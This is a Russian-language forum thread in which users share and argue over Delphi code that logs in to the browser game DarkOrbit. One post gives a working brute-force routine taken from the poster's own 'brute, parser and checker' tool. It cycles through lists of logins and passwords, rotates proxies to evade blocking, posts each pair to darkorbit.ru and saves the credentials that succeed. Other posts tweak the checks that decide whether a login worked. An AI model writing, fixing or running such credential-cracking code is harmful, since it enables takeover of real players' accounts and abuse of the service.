[Статья] Авторизация дарк орбит(Рабочая)

[[Na`Vi]DendI]

Цитата: Сообщение от D.E.Z.E.R.T.I.R [Na`Vi]DendI, что за бред? у тебя получается, что даже если данные введены неверно, то все равно программа продолжает попытку авторизации вот это заменить на это: if Pos('selectInstanceHint',page)<>0 then Memo1.Lines.Add('Данные введены верно..Входим на сервер') else Memo1.Lines.Add('Данные введены не верно!...'); pars1:=pars('http://'+edit3.Text+'.darkorbit.bigpoint.com/GameAPI.php?req=',page,'&ref_pid='); // парсим сервера pars2:=idhttp1.Get('http://'+edit3.text+'.darkorbit.bigpoint.com/GameAPI.php?req='+pars1); // парсим сервера if Pos('span', pars2) <> 0 then memo1.lines.add ('Вошли на аккаунт') else memo1.lines.add ('Не вошли'); на это: if Pos('selectInstanceHint',page)=0 then Memo1.Lines.Add('Данные введены не верно!...'); else begin Memo1.Lines.Add('Данные введены верно..Входим на сервер') pars1:=pars('http://'+edit3.Text+'.darkorbit.bigpoint.com/GameAPI.php?req=',page,'&ref_pid='); // парсим сервера pars2:=idhttp1.Get('http://'+edit3.text+'.darkorbit.bigpoint.com/GameAPI.php?req='+pars1); // парсим сервера if Pos('span', pars2) <> 0 then memo1.lines.add ('Вошли на аккаунт') else memo1.lines.add ('Не вошли'); end;

Вот ты как раз бред написал,у всех работает мой код,если у тебя что-то не то то значит руки не из того места...

[Tip.the.besT]

По моему опыту indy исключает возможность корректного использования прокси, так что, добавляю авторизацию darkorbit из некогда находящейся на этом сайте программы - "Брут, парсер и чекер darkorbit.ru V.0.5" - написанной мной. Хочу сказать, что в данном алгоритме требуется подправить условие авторизации и подачу логинов и пассов. А так полностью рабочая авторизация с парой примочек - проверкой конекта, и так по мелочи, в общем внимайте вариант на synapse:

///////////////////////////////////////brut
procedure brut.polubas;
begin
  form1.proxy.Lines.Add(proxyip+':'+proxyport);
end;
procedure brut.pris;
var
s:string;
begin
if nomp<=form1.password.Lines.Count-1 then
begin
  login:=form1.logins.Lines[noml];
  pass:=form1.password.Lines[nomp];
  inc(nomp);
  begin
  s:=form1.proxy.Lines[0];
  proxyip:=copy(s,1,pos(':',s)-1);
  delete(s,1,pos(':',s));
  proxyport:=s;
  form1.proxy.Lines.Delete(0);
  end;
end else begin
  inc(noml);
  if noml<=form1.logins.Lines.Count-1 then
  begin
  nomp:=0;
  login:=form1.logins.Lines[noml];
  pass:=form1.password.Lines[nomp];
    begin
    s:=form1.proxy.Lines[0];
    proxyip:=copy(s,1,pos(':',s)-1);
    delete(s,1,pos(':',s));
    proxyport:=s;
    form1.proxy.Lines.Delete(0);
    end;

  end else begin
    workbrut:=false;
    exit;
  end;
end;

end;
procedure brut.add;
begin
form1.gotovo.Lines.Add(login+';'+pass);
end;

procedure brut.Execute;
var
stream:tstringstream;
http:thttpsend;
list:tstringlist;
b:boolean;
i:integer;
s:string;
begin
b:=true;
http:=thttpsend.Create;
list:=tstringlist.Create;
stream:=tstringstream.Create;
http.UserAgent:='Opera/9.80 (Windows NT 6.1; U; MRA 5.10 (build 5308); ru) Presto/2.10.229 Version/11.62';
http.Timeout:=10000;

while workbrut=true do
begin

if b=true then begin
synchronize(pris);
end else begin
b:=false;
end;

if workbrut=false then
exit;

http.ProxyHost:=proxyip;
http.ProxyPort:=proxyport;
i:=1;
for I := 1 to 4 do begin//цикл
http.Headers.Clear;
http.Document.Clear;
http.Cookies.Clear;
stream.Clear;
http.MimeType:='application/x-www-form-urlencoded';
stream.WriteString('loginForm_default_username='+login+'&loginForm_default_password='+pass+'&loginForm_default_login_submit=Вход');
http.Document.LoadFromStream(stream);
http.HTTPMethod('post','http://darkorbit.ru/?locale=ru&aid=0');
list.LoadFromStream(http.Document); s:=utf8decode(list.Text);
if pos('loginForm_default_username=',s)=0 then
begin
if pos('Выбери сервер, на котором хочешь играть:',s)<>0 then
  synchronize(add);
Break;
end;

end;////////цикл

if i<4 then begin
synchronize(polubas);
end else begin b:=true; end;

end;

http.Free;
list.Free;
stream.Free;
end;


///////////////////////////////////////brut konec

[꞊Krσησs꞊]

Мне кажется или все коды нави денди не работают? или работают с ошибками
это if Pos('selectInstanceHint',page)<>0 then
меняем на это
if Pos('instance_1',page)=0 then
и заработает

[[Na`Vi]DendI]

Цитата: Сообщение от ꞊Krσησs꞊ Мне кажется или все коды нави денди не работают? или работают с ошибками это if Pos('selectInstanceHint',page)<>0 then меняем на это if Pos('instance_1',page)=0 then и заработает

Все коды работают иначе их бы удалили,посмотри на дату темы,дарк обновили месяц назад

[VeTaL_UA]

Тема закрывается в связи с неактуальностью.